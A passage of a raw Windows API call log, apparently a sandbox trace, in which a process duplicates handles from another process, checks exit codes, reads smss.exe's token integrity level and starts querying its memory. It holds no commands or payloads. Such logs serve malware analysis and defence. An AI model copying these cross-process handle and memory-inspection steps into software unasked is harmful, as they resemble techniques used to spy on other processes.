TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.059] ResetEvent (hEvent=0xec) returned 1 [0149.059] SetEvent (hEvent=0xe8) returned 1 [0149.059] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.060] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.060] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.060] NtClose (Handle=0x15c) returned 0x0 [0149.060] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x338, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.060] ResetEvent (hEvent=0xec) returned 1 [0149.060] SetEvent (hEvent=0xe8) returned 1 [0149.060] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.060] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.060] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.060] NtClose (Handle=0x15c) returned 0x0 [0149.060] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x33c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.060] ResetEvent (hEvent=0xec) returned 1 [0149.060] SetEvent (hEvent=0xe8) returned 1 [0149.060] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.062] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.062] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.062] NtClose (Handle=0x15c) returned 0x0 [0149.062] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x340, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.062] ResetEvent (hEvent=0xec) returned 1 [0149.062] SetEvent (hEvent=0xe8) returned 1 [0149.062] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.062] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.062] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.063] NtClose (Handle=0x15c) returned 0x0 [0149.063] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x344, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.063] ResetEvent (hEvent=0xec) returned 1 [0149.063] SetEvent (hEvent=0xe8) returned 1 [0149.063] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.063] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.063] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.063] NtClose (Handle=0x15c) returned 0x0 [0149.063] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x348, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.063] ResetEvent (hEvent=0xec) returned 1 [0149.063] SetEvent (hEvent=0xe8) returned 1 [0149.063] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.064] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.064] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.064] NtClose (Handle=0x15c) returned 0x0 [0149.064] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x34c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.064] ResetEvent (hEvent=0xec) returned 1 [0149.064] SetEvent (hEvent=0xe8) returned 1 [0149.064] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.064] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.064] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.064] NtClose (Handle=0x15c) returned 0x0 [0149.064] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x350, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.064] ResetEvent (hEvent=0xec) returned 1 [0149.064] SetEvent (hEvent=0xe8) returned 1 [0149.064] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.065] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.065] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.065] NtClose (Handle=0x15c) returned 0x0 [0149.065] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x354, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.065] ResetEvent (hEvent=0xec) returned 1 [0149.065] SetEvent (hEvent=0xe8) returned 1 [0149.065] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.065] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.065] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.065] NtClose (Handle=0x15c) returned 0x0 [0149.065] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x358, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.065] ResetEvent (hEvent=0xec) returned 1 [0149.066] SetEvent (hEvent=0xe8) returned 1 [0149.066] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.066] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.066] NtClose (Handle=0x15c) returned 0x0 [0149.066] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x35c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.066] ResetEvent (hEvent=0xec) returned 1 [0149.066] SetEvent (hEvent=0xe8) returned 1 [0149.066] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.066] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.067] NtClose (Handle=0x15c) returned 0x0 [0149.067] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x360, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.067] ResetEvent (hEvent=0xec) returned 1 [0149.067] SetEvent (hEvent=0xe8) returned 1 [0149.067] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.067] NtClose (Handle=0x15c) returned 0x0 [0149.067] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x364, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.067] ResetEvent (hEvent=0xec) returned 1 [0149.067] SetEvent (hEvent=0xe8) returned 1 [0149.067] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.068] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.068] NtClose (Handle=0x15c) returned 0x0 [0149.068] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x368, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.068] ResetEvent (hEvent=0xec) returned 1 [0149.068] SetEvent (hEvent=0xe8) returned 1 [0149.068] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.068] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.068] NtClose (Handle=0x15c) returned 0x0 [0149.068] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x36c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.068] ResetEvent (hEvent=0xec) returned 1 [0149.068] SetEvent (hEvent=0xe8) returned 1 [0149.068] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.069] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.069] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.069] NtClose (Handle=0x15c) returned 0x0 [0149.069] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x370, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.069] ResetEvent (hEvent=0xec) returned 1 [0149.069] SetEvent (hEvent=0xe8) returned 1 [0149.069] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.069] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.069] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.069] NtClose (Handle=0x15c) returned 0x0 [0149.069] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x374, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.069] ResetEvent (hEvent=0xec) returned 1 [0149.069] SetEvent (hEvent=0xe8) returned 1 [0149.069] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.070] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.070] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.070] NtClose (Handle=0x15c) returned 0x0 [0149.070] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x378, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.070] ResetEvent (hEvent=0xec) returned 1 [0149.070] SetEvent (hEvent=0xe8) returned 1 [0149.070] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.070] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.070] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.070] NtClose (Handle=0x15c) returned 0x0 [0149.071] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x37c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.071] ResetEvent (hEvent=0xec) returned 1 [0149.071] SetEvent (hEvent=0xe8) returned 1 [0149.071] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.071] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.071] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.071] NtClose (Handle=0x15c) returned 0x0 [0149.071] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x380, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.071] ResetEvent (hEvent=0xec) returned 1 [0149.071] SetEvent (hEvent=0xe8) returned 1 [0149.071] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.072] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.072] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.072] NtClose (Handle=0x15c) returned 0x0 [0149.072] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x384, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.072] ResetEvent (hEvent=0xec) returned 1 [0149.072] SetEvent (hEvent=0xe8) returned 1 [0149.072] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.072] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.072] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.072] NtClose (Handle=0x15c) returned 0x0 [0149.072] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x388, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.072] ResetEvent (hEvent=0xec) returned 1 [0149.072] SetEvent (hEvent=0xe8) returned 1 [0149.072] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.073] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.073] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.073] NtClose (Handle=0x15c) returned 0x0 [0149.073] ResetEvent (hEvent=0xec) returned 1 [0149.073] SetEvent (hEvent=0xe8) returned 1 [0149.073] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.073] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.073] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.073] NtClose (Handle=0x15c) returned 0x0 [0149.074] ResetEvent (hEvent=0xec) returned 1 [0149.074] SetEvent (hEvent=0xe8) returned 1 [0149.074] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.074] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.074] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.074] NtClose (Handle=0x15c) returned 0x0 [0149.074] ResetEvent (hEvent=0xec) returned 1 [0149.074] SetEvent (hEvent=0xe8) returned 1 [0149.074] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.075] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.075] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.075] NtClose (Handle=0x15c) returned 0x0 [0149.075] ResetEvent (hEvent=0xec) returned 1 [0149.075] SetEvent (hEvent=0xe8) returned 1 [0149.075] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.075] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.075] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.075] NtClose (Handle=0x15c) returned 0x0 [0149.075] ResetEvent (hEvent=0xec) returned 1 [0149.075] SetEvent (hEvent=0xe8) returned 1 [0149.075] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.076] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.076] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.076] NtClose (Handle=0x15c) returned 0x0 [0149.076] ResetEvent (hEvent=0xec) returned 1 [0149.076] SetEvent (hEvent=0xe8) returned 1 [0149.076] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.076] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.076] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.076] NtClose (Handle=0x15c) returned 0x0 [0149.076] ResetEvent (hEvent=0xec) returned 1 [0149.077] SetEvent (hEvent=0xe8) returned 1 [0149.077] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.077] NtClose (Handle=0x15c) returned 0x0 [0149.077] ResetEvent (hEvent=0xec) returned 1 [0149.077] SetEvent (hEvent=0xe8) returned 1 [0149.077] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.077] ResetEvent (hEvent=0xec) returned 1 [0149.078] SetEvent (hEvent=0xe8) returned 1 [0149.078] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.078] ResetEvent (hEvent=0xec) returned 1 [0149.078] SetEvent (hEvent=0xe8) returned 1 [0149.078] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.084] GetExitCodeProcess (in: hProcess=0x15c, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.194] GetExitCodeProcess (in: hProcess=0x198, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.378] GetExitCodeProcess (in: hProcess=0x1a8, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.408] GetExitCodeProcess (in: hProcess=0x194, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.480] GetExitCodeProcess (in: hProcess=0x1a0, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.572] GetExitCodeProcess (in: hProcess=0x190, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.583] GetExitCodeProcess (in: hProcess=0x1ac, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.583] GetExitCodeProcess (in: hProcess=0x19c, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.623] GetExitCodeProcess (in: hProcess=0x1b4, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.768] GetExitCodeProcess (in: hProcess=0x1b8, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.777] GetExitCodeProcess (in: hProcess=0x1a4, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.780] GetExitCodeProcess (in: hProcess=0x1bc, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0149.789] QueryFullProcessImageNameW (in: hProcess=0x170, dwFlags=0x0, lpExeName=0x1ab84d0, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x1a7f9d8) returned 1 [0149.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1ab84d0) returned 1 [0149.789] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0149.789] IsWow64Process (in: hProcess=0x170, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0149.789] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0149.789] GetProcessTimes (in: hProcess=0x170, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0149.789] OpenProcessToken (in: ProcessHandle=0x170, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0149.789] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0149.789] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0149.789] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0149.789] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0149.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0149.790] NtClose (Handle=0x1c0) returned 0x0 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cad0 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cb18 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1c3f588 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cb18) returned 1 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x380) returned 0x1b39de8 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c3f588) returned 1 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cb18 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1c3f588 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cb18) returned 1 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c3f588) returned 1 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cb18 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1c3f588 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cb18) returned 1 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c3f588) returned 1 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b39de8) returned 1 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cb18 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1c3f588 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cb18) returned 1 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c3f588) returned 1 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cb18 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x140) returned 0x9e2310 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cb18) returned 1 [0149.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xf180) returned 0x1c05220 [0149.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9e2310) returned 1 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cb18 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cb60 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cba8 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cbf0 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1f40) returned 0xa7d438 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cb18) returned 1 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xfc0) returned 0xa1a5d0 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cb60) returned 1 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1f40) returned 0xa66268 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cba8) returned 1 [0149.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c472a0 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cbf0) returned 1 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c472a0) returned 1 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa66268) returned 1 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa1a5d0) returned 1 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7d438) returned 1 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c05220) returned 1 [0149.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0149.792] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x0, 